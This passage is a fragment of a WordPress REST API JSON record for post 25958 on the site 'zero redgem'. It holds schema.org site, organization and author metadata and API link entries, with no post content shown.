redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25958","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=25958"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/25958\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25958"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25958"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25958"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}